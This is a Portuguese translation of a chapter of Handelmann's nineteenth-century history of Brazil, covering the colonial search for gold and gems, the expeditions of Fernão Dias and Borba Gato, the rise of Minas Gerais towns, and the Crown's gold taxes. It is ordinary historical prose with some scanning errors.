O descobrimento do ouro e o início do desenvolvimento econômico paulista

Gottfried Heinrich Handelmann (1827 – 1891)

História do Brasil

Traduzido pelo Instituto Histórico e Geográfico Brasileiro. (IHGB) Publicador pelo MEC, primeiro lançamento em 1931.

TOMO II

CAPÍTULO XI

A capitania geral de São Paulo (continuação)

Chegamos agora ao segundo fenômeno, que, para a história de São Paulo e das outras regiões do sudoeste do Brasil, é de não menor importância: o descobrimento do ouro.

Sabe-se que, na época do descobrimento da América, toda a Europa ficou firmemente persuadida de que o novo continente de oeste encerrava em todas as suas partes inesgotáveis tesouros minerais; aonde quer que chegassem os descobridores europeus, tanto no extremo norte como no extremo sul, cuidaram primeiro que tudo de farejar jazidas de ouro e de pedras preciosas, e, em muitos lugares, foram precisos muito tempo e muito amargo desengano, antes que se dissuadissem dessa preconcebida crença.

Assim também no Brasil. A coroa de Portugal desde logo reservou para si o quinto de todos os metais e pedras preciosas que fossem achados, e por sua vez cedeu um décimo desse quinto aos donatários das capitanias brasileiras (1534); e impôs imediatamente ao primeiro governador-geral do império colonial (1549) a especial obrigação de procurar ativamente minas.

E os colonos compartilhavam inteiramente da suposição e das esperanças do governo; por toda parte, quando, nas suas caçadas ao homem, avançavam longe pelo interior a dentro, logo tratavam de revolver a terra à cata de minerais preciosos, e, ora daqui ora dali, vinha à tona o boato de os haverem encontrado.

Assim aconteceu em primeiro lugar, cerca do ano de 1552, simultaneamente em São Paulo, Porto Seguro e Pernambuco. Em Porto Seguro, onde os índios exibiram algumas turmalinas, que, por causa de sua cor verde, foram tomadas por verdadeiras esmeraldas, a notícia obteve o maior crédito, e dali avançou então uma multidão de caçadores de pedras preciosas, conduzidos por Jorge Dias, até ao curso superior do rio São Francisco (província de Minas Gerais); porém, depois de andarem errantes dois anos, regressaram de mãos vazias (1553-1555). Sem embargo, um novo caçador de pedras preciosas, Sebastião Fernandes Tourinho, no seguinte decênio, enveredou no mesmo rumo, e igualmente andou vagando alguns anos no sertão de Minas Gerais; e apenas chegou este de volta a Porto Seguro, terceiro aventureiro, Antônio Dias Adorno, empreendeu a mesma viagem. Acompanhado por 150 brasileiros e 400 escravos, ele seguiu, na ida, pelo curso do rio das Caravelas, acima; para a volta, porém, dividiu os seus homens em dois bandos, dos quais um se confiou ao rio Jequitinhonha (Belmonte), que o reconduziu a Porto Seguro; ele próprio, com o outro bando, seguiu para a Bahia, e, pouco tempo depois, aí faleceu (princípio do ano 1.583). Como o seu predecessor Tourinho, também Adorno trouxe pedras preciosas, que eles tomaram por esmeraldas e safiras, e eram, como se verificou, turmalinas e ametistas de diminuto valor; e este tríplice desengano pôs provisório termo às caçadas de pedras preciosas, nessas latitudes.

Em compensação, durante o seguinte decênio, houve notícia de ricas minas de prata, que um habitante da província da Bahia, Robério Dias, teria descoberto; ele parecia a princípio disposto a mostrar as mesmas ao governo; quando, porém, não lhe foi concedida a recompensa que ele exigia, recusou-se a dar qualquer informação, e viu-se por este motivo ameaçado de penosa investigação, à qual escapou somente por morte oportuna. Ele levou o seu segredo para o túmulo; de resto, é pouco provável que esse segredo tivesse valor real, pois, até hoje em dia, os brasileiros, por ignorância, freqüentemente tomam a pirita sulfúrea por minério de prata; e quantas vezes a lenda tem descoberto minas de prata! Contudo, até hoje não se chegou a tomar conhecimento da existência de uma única ,25.

Os primeiros descobrimentos de real valor foram feitos em terras da província de São Paulo. No lugar onde atualmente existe a grande fundição de ferro de São João de Ipanema, perto de Sorocaba, no morro de Guarassoiava (Arassoiava, Birassoiava), cerca de 1578 ou 1.590, o paulista Afonso Sardinha descobriu o primeiro minério de ferro e estabeleceu uma fundição com dois fornos 126; foi justamente ele quem achou na vizinha serra de Jaraguá o primeiro ouro. Porém, demasiada importância se deu a estes descobrimentos; especialmente o então governa-dor-geral, Francisco de Sousa, fundou as mais temerárias esperanças e aplicou durante o seu governo de onze anos (1591-1602) grandes somas para múltiplas pesquisas, sendo na maioria improfícuas; a instâncias suas, foi elaborado um Código Mineiro para o Brasil, sancionado em Valladolid (15 de agosto de 1603) pelo rei Filipe III127; finalmente, obteve mesmo da corte que o Sul do Brasil (São Paulo com Rio de Janeiro e Espírito Santo) tivesse o seu próprio "Governo-Geral e Ins-petoria das Minas", sob cuja especial administração ficou separado do resto do Brasil, durante dez anos (1608-1617). Julgava Sousa haver descoberto em São Paulo um novo Peru; a sua firme crença contagiava aos outros, e passou despercebido o sábio dito de Diogo de Meneses: "As verdadeiras minas do Brasil são o açúcar e o pau-brasil". Tanto mais depressa sobreveio o desengano.

Possui São Paulo, de fato, um muito grande tesouro de minério de ferro, porém esse pouco mereceu atenção. Já em 1630 deixaram de existir as fundições de Sardinha; foi depois restaurada a fabricação do ferro, cerca do ano de 1766 ou 1770, e de novo em 1801; em ambas as vezes, todavia, sempre foi tosca e mal sucedida a tentativa.

Destarte, limitou-se durante os séculos XVII e XVIII toda a produção: onde se descobria minério de ferro, em São Paulo, Minas Gerais, Goiás, ferreiros e particulares colhiam o que necessitavam para seu uso e o fundiam e elaboravam nos seus fornos e forjas. Somente cerca do ano de 1810 começou, com o auxílio de mineiros alemães, uma verdadeira indústria do ferro, que, todavia, não obteve sucessos dignos de nota; apenas uma única usina de ferro, São João de Ipanema, perto de Sorocaba, trabalhando a princípio (1811-1821) com mineiros suecos, depois (1815-1821) reorganizada por Friedrich Varnhagen, de Hesse, alcançou maior vulto; pertence à coroa, porém até hoje muito mais lhe tem custado do que rendido, ao ponto que, ainda no ano de 1843, num relatório oficial, o ministro perguntava ao parlamento se não seria mais conveniente deixar acabar de uma vez a tão dispendiosa empresa.

Outro era o caso das minas de ouro. Logo após o primeiro descobrimento feito por Sardinha, foram tomadas na maior consideração, mereceram o mais universal interesse, e, dentro de pouco tempo, lograram zelosos pesquisadores novos descobrimentos, situados na maioria nos próximos arredores da cidade de São Paulo, alguns poucos também na atual província do Paraná.

 

 

126 Em documentos existentes no Arquivo Nacional (por exemplo, nas cartas régias de 8 de fevereiro de 1687 e 23 de outubro de 1692), assim como nos cronistas e genealogistas antigos (fi. Gaspar da Madre de Deus, Pedro Taques c outros), encontram-se diversas granas do nome indígena dado ao morro das circunvizinhanças da atual Sorocaba, descoberto por Afonso Sardinha nos derradeiros anos do século XVI e onde o rnesmo sertanista, além de outros metais, encontrou e explorou o minério de ferro. A grafia mais comprida acha-se na "Nobiliarquia paulistana" (tf! Rev. do Inst. Hist. e Geogr. Bras., t. XXXV, p. 1*, 117) e em Hybiracoyaba, a qual, por aférese, produziu Biracoyaba e significa "a cobertura de madeira", como ensina Teodoro Sampaio iop. cit., pág. 205). Provavelmente, ocorreu no longo vocábulo nova aférese da sílaba inicial, substituindo-se esta, compensativamente, pela vogal que reclamava a aliteração, do que resultou a forma Araçoyaba, "esconderijo do sol", segundo Varnhagen (História geral do Brasil, 1» ed., vol. II, pág. 362), ou "morro do chapéu", consoante opina afinal Teodoro Sampaio (op. cit., pág. 202). O governador d. Francisco de Sousa, no último ano do século XVI elr»alvorecer do século XVII, cogitou de desenvolver ali a indústria siderúrgica, devendo-se-lhe, portanto, o primeiro incremento regular da Fábrica de Ferro de São João de Ipanema, bem como a fundação de Sorocaba. O trabalho mais antigo sobre a exploração do ferro naquela região paulista é a "Memória histórica, sobre a fundação da fábrica de São João de Ipanema na província de S. Paulo" (Lisboa, 1822), de Nicolau Pereira de Campos Vergueiro, da qual, em 1858, tirou Frederico Augusto Pereira de Morais (genro de Varnhagen) uma 2* edição, adicionando-lhe ilustrações e documentos importantes. O depois visconde de Porto Seguro, logo que publicou a sua magnífica "História geral do Brasil" (Madri, 1854-1857), na qual se declarou "natural de Sorocaba", e, como filho, que era, de Frederico Luís Guilherme de Varnhagen, um dos mais notáveis dirigentes da Real Fábrica de Ferro de São João de Ipanema, abriu no vol. II, págs. 357-372, sobre o assunto que lhe merecia tão especial interesse, o cap. "Minas de ferro — Varnhagen é o executor dos projetos del-rei", no qual deu á lume elementos curiosos, colhidos do arquivo paterno. Alem de muitas outras referências, feitas por brasileiros e alienígenas, àquela nossa mais antiga e valiosa tentativa de indústria siderúrgica, deixou Leandro Dupré (in "Anais da Escola de Minas", vol. IV, 1885) a "Memória sobre a fábrica de ferro de S.João de Ipanema", tendo J. P. Calógeras escrito para a "Revista Brasileira" (Rio, vol. I, 189.5) o excelente artigo "A fábrica de ferro de S. João de Ipanema" e para a "Rev. do Inst. Hist. e Geog. de S. Paulo" (vol. IX, 1904, págs. 20-100) a interessante monografia "O ferro — (Ensaio de história industrial)". O que, porém, ainda existe de mais completo sobre o histórico e o futuro daquela exploração metalúrgica é o exaustivo e probidoso trabalho que vem no vol. II (págs. 1-275 de "As Minas do Brasil e sua legislação" do último dos citados escritores patrícios.Toda a legislação mineira, sobre a qual naturalmente não podemos pormenorizar, foi publicada por F. W. von Eschwege, natural de Hesse, engenheiro-chefe real e superintendente de minas, no seu livro Pluto brasiliensis (Nota do autor.)

Essas bateias e lavras foram exploradas com incansável diligência durante todo o século XVII; ainda em 1682 e 1697, eram recomendados especialmente a inspeção e fomento pelos capitães-generais do Rio de Janeiro; todavia, o rendimento, tanto quanto sabemos, nunca foi muito grande. Finalmente, quando nos fins do século XVII se descobriram outras minas mais ricas, a multidão dos pesquisadores de ouro voltou-se para.estas; as bateias de São Paulo caíram no esquecimento, as casas de fundição de ouro pouco a pouco se foram acabando, e atualmente aqui mal se ouve falar de cata de ouro.

Se a riqueza de ouro de São Paulo não teve de si e para si grande importância, sempre serviu, todavia, para sustentar no povo a idéia de novos descobrimentos, e o governo, que compartilhava dessas esperanças, estimulava sempre de novo o espírito empreendedor; assim, um decreto real de 19 de agosto de 1670 ordenou ao capitão-general de Pernambuco que prestasse, de todo modo, auxílio aos pesquisadores de ouro, e outro, de. 18 de março de 1694, dirigido ao governador-geral da Bahia, oferecia mesmo, como recompensa do sucesso, a perspectiva de carta de nobreza e uma das três ordens de cavalaria.

Também o que nunca faltou no Brasil foram destemidos mateiros, que avançavam em todas as direções pelo sertão; porém, de descobrimentos dignos de valor até hoje nada constou.

Conta-se em primeiro lugar, cerca de meados do século XVII, de um aventureiro, Marcos de Azeredo (Azevedo), que com um só companheiro partiu de Espírito Santo ou Porto Seguro e, seguindo ao longo de um dos rios costeiros, provavelmente o rio Doce, penetrou na atual província de Minas Gerais; trouxeram dali novamente supostas esmeraldas e- amostras de minério de prata, porém não quiseram dar, pelo menos provisoriamente, esclarecimento algum sobre o lugar desses achados; em conseqüência, mandou o governador-geral da Bahia prender a ambos, e, como eles se obstinassem, apesar disso, no silêncio, permaneceram na prisão até à morte. Assim, não se pôde saber nada ao certo sobre a expedição desses aventureiros; todavia, em linhas gerais, conseguiu-se saber a direção, assim como umas notícias superficiais, e resolveu o governo para ali despachar uma expedição exploradora, cujo comando confiou ao coronel Agostinho Barbalho Bezerra, da Bahia. Porém os preparativos necessários exigiram grande demora; além disso, entre o chefe nomeado da expedição e diversas autoridades coloniais, surgiram rivalidades sobre atribuições, e, antes que essas se houvessem resolvido, surpreendeu a morte ao coronel Bezerra, pelo que não se efetuou a pretendida expedição.

Então, um particular de fortuna, de São Paulo, tomou a causa em mão, e ele tornou-se o verdadeiro pesquisador e conquistador daquele vasto planalto, que, por suas riquezas minerais, até hoje tem o nome de Minas Gerais. Foi ele, Fernando Diaz Paez Leme128, experimentado, célebre batedor de matas, já de idade avançada, porém cheio de ânimo juvenil; ele já havia sido solicitado por uma carta régia, de 27 de setembro de 1664, a prestar auxílio ao coronel Bezerra, para a projetada expedição; agora, morto Bezerra, ele ofereceu-se para conduzir a empresa pessoalmente e por sua própria conta, diante do que o governador-geral do Brasil, a 30 de abril de 1672, lhe outourgou o título e as prerrogativas de "capitão-mor para pesquisar e descobrir as minas de esmeraldas".

No ano seguinte (1673), iniciou Fernando Diaz, com séquito numeroso, a sua marcha para as selvas; de tempos a tempos fazia-se uma parada, semeava-se uma plantação, que ao mesmo tempo devia servir de estação intermediária de comunicação com a terra natal; depois de fadigas e perigos sem conta, chegaram à serra que se estende entre as nascentes do rio Doce e as do rio São Francisco, entre os índios muito acertadamente denominada "região deserta", Hyvitujahy; hoje está ali mesmo situada a cidade do Serro. Aqui, estabeleceu Fernando Diaz o seu primeiro quartel-general e permaneceu durante quatro anos, ao passo que pequenos bandos expedicionavam em todos os sentidos, a fim de procurar no deserto esmeraldas e outras pedras preciosas; tanto quanto se sabe, ouro não se procurou, nem se achou durante toda a expedição.

Pode-se imaginar quantas dificuldades e privações passaram os aventureiros nesse gênero de vida; de ano para ano, tornava-se mais penosa a sua situação, e, além disso, eram baldadas todas as suas investigações; assim, foi perdendo coragem a maioria; travaram-se discórdias e altercações entre os companheiros; mesmo chegou a ser ameaçada por conspiradores a vida do chefe, que com inflexibilidade férrea repelia toda idéia de regressarem para os lares; e, finalmente, se afastou do acampamento uma grande parte, que se retirou para São Paulo.

Não obstante, perseverou animosamente Diaz com os seus fiéis; ele mandou notícias para casa, à sua mulher, para que ela lhe remetesse tudo que ele precisava; logo que chegaram as provisões pedidas, ele seguiu adiante, através de terras dominadas por índios inimigos, mais para nordeste, para selvas que, mesmo hoje, mal são conhecidas. Assim, chegou a expedição finalmente à lagoa ou pântano que os indígenas chamavam então de Vepabussu ,29, a "lagoa grande", e que em tempos mais recentes, pelo fato de não haver sido achada de novo, é designada pelo nome de Lagoa Encantada, ou Dourada. Aqui, segundo a lenda, deviam existir em grande quantidade as preciosas pedras verdes e Diaz resolveu fazer maior estada; foi maior o descontentamento dos seus companheiros, pois a região ficava no meio da mata virgem e, no tempo das chuvas tropicais, era pantanosa e insalubre, de sorte que em breve surgiram doenças mortais. Suplicaram ao chefe que de novo levantasse acampamento e adiasse as investigações para tempo mais seco do ano; porém nem rogos nem ameaças puderam vergar a sua vontade de ferro; e quando, então, francamente a sublevação ameaçou declarar-se, mandou ele prender o seu próprio filho natural, que se havia associado aos descontentes, e fê-lo enforcar na primeira árvore, para servir de escarmento aos outros. Isto produziu efeito; todos voltaram à obediência, e Fernão Diaz, debaixo de toda sorte de tormentos que o homem é capaz de suportar, prosseguiu nas suas pesquisas, até que a sorte lhe satisfez os desejos.

Achou o que procurava, aquelas pedras verdes, erradamente tomadas por esmeraldas, e, carregado até mais não poder, com a presa sem valor, tão caro comprada, encetou então a viagem de regresso a São Paulo. Porém não devia rever o pátrio lar; exausto e enfraquecido pelos demasiados esforços, ele sucumbiu já às margens do rio das Velhas (Guaicuí), na região das nascentes do rio São Francisco. O seu genro, Manuel Borba Gato, que, vindo de São Paulo, seguia nas pegadas do sogro, chegou ainda a tempo de dar ao moribundo o último adeus e receber das mãos dele tudo que trazia consigo, as pedras preciosas, pólvora, chumbo e instrumentos de trabalho, cerca do ano de 1680.

Manuel Borba Gato prosseguiu, então, a obra de investigação e conquista, que Fernando Dias havia iniciado, e andou cruzando os distritos do norte de Minas Gerais, a região das nascentes do rio São Francisco, em todas as direções, ao passo que no mesmo tempo outras bandeiras paulistas erravam por outras partes da mesma província. Sobre as expedições desses aventureiros todos, pouca coisa se veio a saber e ainda menos de valor para o interesse geral; mencionamos, por isso, somente uma pequena bandeira que, sob o comando do inspetor de então das bateias de São Paulo, Rodrigo de Castelo Branco, se reuniu cerca do ano de 1680 e enveredou pelo sertão. A intenção era procurar a expedição de Fernando Dias Pais Leme e reunir-se a ela, pois também devia Rodrigo entregar a este uma carta régia (de 4 de dezembro de 1677); todavia, não encontraram mais o velho chefe; já a meio caminho, numa das estações intermediárias que ele próprio havia estabelecido, receberam a notícia de sua morte. Rodrigo de Castelo Branco arrecadou aí tudo que havia em escritos informativos, provisões e sobretudo o que existia em provas do achado de minérios; em seguida, ao que parece, regressou diretamente para São Paulo e ali fez relação circunstanciada sobre a empresa e os méritos de Fernando Dias. Porém não se sofreou muito tempo em casa; já num dos anos seguintes partia ele de novo para o Norte e alcançava finalmente o rio das Velhas, a mesma região que Manuel Borba Gato já havia oito anos explorava (cerca do ano de 1688).

No meio das selvas, toparam-se as duas bandeiras paulistas, e o encontro não foi absolutamente amigável; Borba, do seu lado, via com maus olhos invadido pelos recém-chegados o campo de caçada, só seu até aqui; por outro lado, Rodrigo, como funcionário da coroa, exigia que o outro se lhe subordinasse e pusesse à sua disposição as suas provisões; uma pretensão, que o chefe independente da bandeira repeliu arrogante. Já se enfrentavam ambos os partidos, armados em guerra, quando Castelo Branco mudou amigavelmente de atitude; todavia, uma ameaça, que lhe escapou impensadamente, de novo excitou os adversários e lhe custou a vida; alguns servidores de Borba perfidamente o apunhalaram. Os seus subordinados, perdendo o chefe e ignorando qual a força do inimigo, bateram em retirada, sem reação, e espalharam-se em todas as direções; e, segundo a lenda, a maioria fugiu para o Norte, onde como primeiros colonos, se estabeleceram no curso do alto e do médio São Francisco, e lançaram os primeiros fundamentos da criação de gado, que ainda atualmente é, em todo o interior da Bahia e de Pernambuco, a principal indústria.

Assim, ficou Manuel Borba Gato senhor do seu velho domínio de caçada nas nascentes do rio São Francisco, e ele ali permaneceu ainda muitos anos, indiferente à sentença de proscrição que as autoridades de São Paulo contra ele lavraram, por causa do assassínio, porém, ao mesmo tempo, desligado de toda relação com a terra pátria e com o mundo civilizado. Sem interrupção, continuaram durante esse tempo as suas incursões em todos os sentidos; todavia, ele não se aventurou, do mesmo modo que antes o seu sogro, à pesquisa das supostas esmeraldas, pois, em geral, não se afastou das margens do rio das Velhas (Guaicuí), provisoriamente.

E, então, conseguiu ele fazer aqui um descobrimento mais valioso, o do ouro;

no lugar onde hoje é a cidade de Sabará, e além, rio abaixo, Borba e os seus companheiros acharam e exploraram, pouco a pouco, uma série de bateias de ouro. Mais tarde, não mais se julgando aqui em segurança contra o braço da lei, fugiu além; fugiu além, para leste, para o rio Doce, e viveu ali muitos anos, como hóspede altamente respeitado, no meio de uma tribo de índios amigos. Assim viveu o férreo corredor de matas até fins do século XVII, ao todo uns 20 anos, sem interrupção, nas selvas (1680-1700); então, despertou nele, finalmente, a saudade do pátrio lar, e, por intermédio de seus parentes em São Paulo, fez solicitar a revogação da proscrição pronunciada, a licença para regressar perdoado. O governo provincial concedeu-lhe a graça pedida, sob a condição de que ele fizesse declaração das muitas bateias que havia descoberto no rio das Velhas; e, como Manuel Borba Gato correspondesse a essa condição 13°, com o maior contentamento das autoridades, ele foi ainda recompensado com a patente de tenente-general (1701).

E ali, onde ele havia primeiro descoberto o ouro, na confluência do arroio Sabará-Buçu com o rio das Velhas, surgiram então duas colônias, que dentro em breve se fundiram numa só; assim, nasceu a povoação de Sabará, que, já no ano de 1711-12, era elevada a vila, mas só no ano de 1843 recebia os foros de cidade.

Já desde muitos anos, antes de serem as minas de Sabará geralmente conhecidas, haviam sido descobertas algumas outras, um pouco mais ao sul. Cerca do ano de 1693, havia avançado uma expedição paulista, sob o comando de Antônio Rodrigues Arzão, que, vindo da cidade de Taubaté (província de São Paulo), seguira rumo do norte, pelas selvas, para as nascentes do rio Doce; depois de muito andar, navegaram por esse rio abaixo e assim alcançaram a capital da província do Espírito Santo, Vitória, onde entregaram às autoridades municipais as primeiras provas da riqueza metálica de Minas Gerais. Eram três oitavas de ouro; desse ouro foram cunhadas duas medalhas, das quais uma o governador do Espírito Santo conservou, a outra deu a Antônio Rodrigues, que regressou com essa prova à sua cidade natal de Taubaté, onde em breve morreu. A obra do descobrimento, que ele começara, continuou-a o seu cunhado, Bartolomeu Bueno de Cerqueira; experimentado explorador de matas (já em 1670 ele havia feito caçadas ao homem no interior da província de Goiás), achou, logo que arvorou a sua bandeira, numerosas adesões; e já no ano seguinte (1694) marchou para Minas Gerais, onde estabeleceu o seu quartel-general na vizinhança da atual cidade de Ouro Preto.

Procurou-se ativamente pelo ouro; todavia, como faltassem aos aventureiros os necessários conhecimentos e adequados instrumentos, foi a princípio minguado o resultado; depois de largo prazo, haviam apenas lavado 12 oitavas de ouro, quando outra expedição de caçadores de escravos e de ouro, em marcha de regresso para os seus lares; passou por seu acampamento.

 

O chefe dessa bandeira, Salvador Fernandes Furtado, trocou por uma arma de fogo toda a provisão de ouro de Bueno e de seus companheiros; ele, por sua vez, deu o mesmo por duas escravas índias a um de seus acompanhadores, Manuel Garcia Velho; e este, finalmente, passou por Taubaté, deixou <jue por suas lábias lhe tomasse essas amostras de ouro um morador dessa cidade, Carlos Pedroso da Silveira. Pedroso, porém, apressou-se a seguir para o Rio de Janeiro, onde exibiu o ouro ao capitão-general de então, Antônio Pais de Sande (1694), e, embora não reivindicasse abertamente a glória do descobrimento, todavia teve a recompensa da mesma: recebeu a patente de comandante da cidade de Taubaté, e ao mesmo tempo foi encarregado de aí construir, para a comodidade dos pesquisadores de ouro, uma fundição pública, assim como também de cobrar o quinto que a coroa exigia de todos os metais preciosos.

As distinções que couberam a Carlos Pedroso, e ainda mais o estabelecimento de uma fundição real em Taubaté, onde então e ainda hoje passa a principal estrada de São Paulo para a bacia do rio Doce e do São Francisco, provam a grande importância que o governo colonial atribuía aos novos descobrimentos, que realmente ele cria na existência da grande riqueza mineral; e essa crença, estas esperanças empolgaram céleres toda a população das províncias brasileiras do Sul.

Sobretudo o espírito empreendedor dos paulistas tomou com isso novo rumo; eles desistiam agora das suas caçadas ao homem, nas longínquas regiões, e marchavam em bandos vultosos para a recém-descoberta terra do ouro; também os seus vizinhos, os habitantes do Rio de Janeiro, já nos anos seguintes, construíram uma picada através das solidões cobertas de matas das montanhas da costa e do vale do Paraíba; mesmo de províncias ainda mais remotas muitos aventureiros souberam achar o caminho para lá. Onde quer que aparecesse grão de ouro, nos rios e riachos, nos terrenos de aluvião das margens, nas encostas das montanhas, logo ali assentavam acampamento esses bandos errantes; os homens livres, os escravos índios e negros que eles haviam trazido, todos punham mãos à obra, para cavar o ouro e lavá-lo; se não bastavam os braços, como acontecia em geral, logo se aprestava um bando e fazia prisioneiros entre as tribos de índios habitantes da vizinhança, obtendo assim quantos escravos se necessitassem, até que também aqui se acabasse quase toda a população indígena; então, era preciso resignar-se a comprar os escravos negros, mais caros, que os negociantes do Rio de Janeiro até aqui traziam.

Logo que se esgotava a primeira lavra, seguiam os garimpeiros adiante, a fim de pesquisar novo solo aurífero; porém, nos sítios de jazidas especialmente ricas, transformavam-se logo os seus acampamentos em colônias fixas, e estas, com o correr do tempo, se foram elevando a vilas ou cidades, de maior ou menor importância.

Assim, surgiu primeiramente, das lavras à margem do rio do Carmo, uma povoação, que, a 8 de abril de 1711, foi elevada a vila real; a 23 de abril de 1745, já recebia os foros de cidade e o nome de Mariana, que até-hoje conservou; igualmente, na mesma época, das lavras da serra de Ouro Preto surgiu a Vila Rica (18 de junho de 1711), ou, como se chama desde 20 de março de 1823, cidade imperial de Ouro Preto; depois, seguindo para o norte, foi Sabará vila em 1711-12, cidade desde 1842; Caeté (Vila Nova da Rainha), vila desde 1714; a cidade do Serro, antigamente vila do Príncipe, em 1714 revestida com os foros de vila, em 1838 ou 39 com os de cidade; para o sul — São João dei Rei, vila em 1713, cidade em 1843, e a colônia que, já como vila, ainda como cidade (desde 1839), continuou conservando sempre o nome primitivo de Campanha, etc.

Como mostra um olhar lançado ao mapa, todas essas antigas povoações se concentram num espaço relativamente apertado, em torno da rocha central, da qual se ramifica, para o norte, a cabeceira do rio São Francisco, a leste a do rio Doce, ao sudoeste a do Rio Grande (Paraná); foi aqui justamente o primeiro e pri-mitivo ponto de reunião para a imigração estrangeira dos pesquisadores de ouro e a região em que a maioria das lavras foi achada e explorada.

Nas regiões vizinhas, e geralmente em todo o Brasil, costumava-se por isso designar essa região com o nome de "Minas Gerais", nome que foi tomando sempre maior extensão geográfica, até finalmente abranger toda a atual província de Minas Gerais.

* * *

Ao passo que a imigração dos garimpeiros de ouro se apoderava do território das minas, o governo da coroa de Portugal também dali não desviava as vistas; pelo seu direito, ela reivindicou para si o domínio supremo do solo e das riquezas minerais, deixando, porém, à indústria particular a exploração das mesmas. O sistema que ela usava para isso é completamente diferente do praticado hoje; na Califórnia c no ‘continente australiano, o governo, como se sabe, por assim dizer, arrenda o terreno aurífero, parcelado, em troca de um tributo semanal ou mensal; em Minas Gerais, porém, o governo dava as terras de presente e reservava para si. então, do rendimento, o chamado quinto real, conforme havia sido de regra desde a fundação dos Estados brasileiros.

Uma tão pesada contribuição era naturalmente muito mal acolhida pelos mineiros; quem podia, procurava subtrair-se; foi assim preciso, para forçar à obediência, recorrer à ameaça de severos castigos: quem ocultasse o seu ganho em ouro e defraudasse o quinto do tesouro — assim dispunha o primeiro decreto real, de 29 de outubro de 1698 — incorria na perda não só de todo o seu ouro, como ainda em multa do triplo do seu valor. Para a fiscalização, lançou-se mão, pouco a pouco, de um sem-número de providências vexatórias e mesquinhas; Artur de Sá e Meneses, capitão-general do Rio de Janeiro, que, como tal, exercia ao mesmo tempo essa fiscalização sobre São Paulo e suas dependências, mandou, a 18 de abril de 1701, estabelecer em redor do distrito de minas, em todas as estradas circunvizinhas, ao norte e ao sul, registros, onde se devia pagar o quinto ou era preciso apresentar um certificado do pagamento já feito antes; todo viajante, sem distinção de posição nem de sexo, tinha que se sujeitar ali à mais severa investigação nas suas cargas e, talvez, também na sua pessoa. O governo central de Lisboa fazia mais ainda, porque, para facilitar a ação do fisco, se empenhava em impedir e diminuir as estradas naturais de comunicação do distrito mineiro.

Todo o comércio das Minas Gerais devia dirigir-se para o Sul, ao Rio de Je-neiro e a São Paulo; todavia, não era possível observar com todo o rigor este plano, pois os mineiros, para o seu abastecimento em carnes, recorriam ao distrito de pastagens do Norte, Bahia e Pernambuco; o regulamento geral das minas, de 19 de abril de 1702, permitia, em virtude disso, que do Norte entrasse gado ali, porém nada mais; se um brasileiro do Norte tivesse que levar mercadorias de outra espécie às minas, devia dar uma volta por mar, passando pelo Rio de Janeiro.

Essa mesma lei de 19 de abril de 1792 proibia a residência ou estada nas minas aos ourives e outros operários que se dedicassem a fundir e elaborar o ouro; dava plenos poderes às autoridades de expulsar todas as pessoas não necessárias ali, porque essas só cuidavam de consumir os víveres e enganar no pagamento do quinto à coroa.

Assim é que, depois, em conseqüência do decreto real de 9 de junho de 1711, todos os frades, sem exceção, e todos os padres que não ocupassem cargo de vigário, foram expulsos; igualmente repetidas vezes foi proibida a entrada a negociantes e taverneiros e outros tais; tudo medida de fiscalização, para cuja severa execução teria sido necessária uma colossal força de polícia, que o governo colonial aqui não podia manter.

Também, por isso, não foram nunca perfeitamente executadas: tanto depois, como antes, continuou o chamado contrabando do ouro (a saída do ouro que não havia pago o quinto); porém o que se fazia, sempre bastava para causar aos mineiros os mais aborrecidos incômodos e estorvos sem conta. Por isso, desde logo votaram aversão a esse sistema, e muitas vezes os cobradores do quinto real tiveram que lutar contra aberta resistência; até que afinal, a 7 de dezembro de 1713, se efetuou um provisório acordo entre o povo e o governo provincial, acordo que recebeu a sanção régia a 20 de outubro de 1715.

Pelo mesmo cessaram de todo a contribuição do quinto e todas as limitações à exportação do ouro, e a coroa recebia em compensação uma indenização conjunta anual a combinar; as autoridades municipais dos distritos de minas ficavam responsáveis por essa indenização, e, para que pudessem havê-la, era-lhes facultado cobrar um imposto de entrada sobre todas as mercadorias importadas. Nestas circunstâncias, pagaram as "minas gerais", nos anos de 1714-1718, 30 arrobas de ouro por ano; depois cederam o imposto de importação à coroa e pagaram, além disso, em 1719-1722, por ano, 25 arrobas, quantia que, nos dois anos de 17 23-17 24, foi elevada a 3 7 arrobas.

Este novo sistema foi em absoluto mais vantajoso para o desenvolvimento interno e para o próprio bem-estar dos distritos mineiros; porém o rendimento financeiro, que ele produzia, não bastava para saciar a avidez da corte de Lisboa por dinheiro; e, assim (assunto a que voltaremos mais tarde), é que foi restabelecido, não sem lutas e canseiras e com poucas alterações, o antigo sistema, a contribuição do quinto real (l9 de fevereiro de 1725).

Ainda segunda série de disposições legais merece a nossa atenção. Nos dias de hoje, nos descobrimentos de ouro da Califórnia e da Austrália, souberam sem dúvida os governos desses países apreciar e acautelar os lucros financeiros, que daí resultavam para eles; porém, a seu ver, este não era o principal objetivo; muito maior importância eles davam ao fato de que o ouro fosse poderosa atração para a imigração, de que dentro em pouco tempo ele chamasse para ali colonos de todas as partes do mundo, proporcionando, assim, às terras até então desertas, com fantástica rapidez, uma considerável população dotada de capacidade de trabalho, donde uma grande importância para o comércio mundial; assim, tudo eles fizeram para tornar possível e fomentar a imigração e desenvolvimento do comércio.

Outra foi a conduta da coroa de Portugal, diante dos descobrimentos de ouro em Minas Gerais (1700); deu importância somente ao lado financeiro, diante do qual, como já vimos, todas as outras considerações tiveram que ceder, e, muito longe de usar do ouro como meio para promover a imigração européia, a colonização brasileira, parece que teria preferido ocultar completamente da Europa a existência das riquezas minerais do Brasil.

Isto, porém, não foi possível, nem se pôde vedar aos próprios súditos a emigração para a terra do ouro; porém, no que dizia respeito às nações estrangeiras, estabeleceu-se agora severo exclusivismo, qual até então a política colonial portuguesa não conhecera.

Desde o princípio, embora sob muitas restrições, os estrangeiros podiam visitar o Brasil, estabelecer-se ali; e só em 1600, no tempo da dominação espanhola, haviam sido expressamente excluídos; todavia, desde 1640, haviam os reis da dinastia de Bragança restabelecido o antigo costume, e, mesmo, dado a alguns povos, por exemplo, ingleses e holandeses, um direito nessa matéria. Agora, desde que o Brasil, pelos descobrimentos de ouro, havia subido de valor, era outra coisa; tratou-se de arredar todo contato estrangeiro no distrito das minas e em sua imediata vizinhança. Por este motivo, foi justamente nesse tempo rigorosamente suprimido o comércio que se fazia por terra entre o Rio de Janeiro e o Paraguai espanhol; não menos rigorosamente passaram a ser vigiados, daí em diante, em São Sebastião e outros portos, os navios estrangeiros e negociantes, e obrigados a partir quanto antes. Ainda mais, uma ordenação régia de 25 de fevereiro de 1711 mandava expulsar de Minas Gerais todos os estrangeiros, mesmo os que já houvessem adquirido a naturalização, o direito de cidadão português; somente holandeses e ingleses podiam ser tolerados: exceção que dificilmente 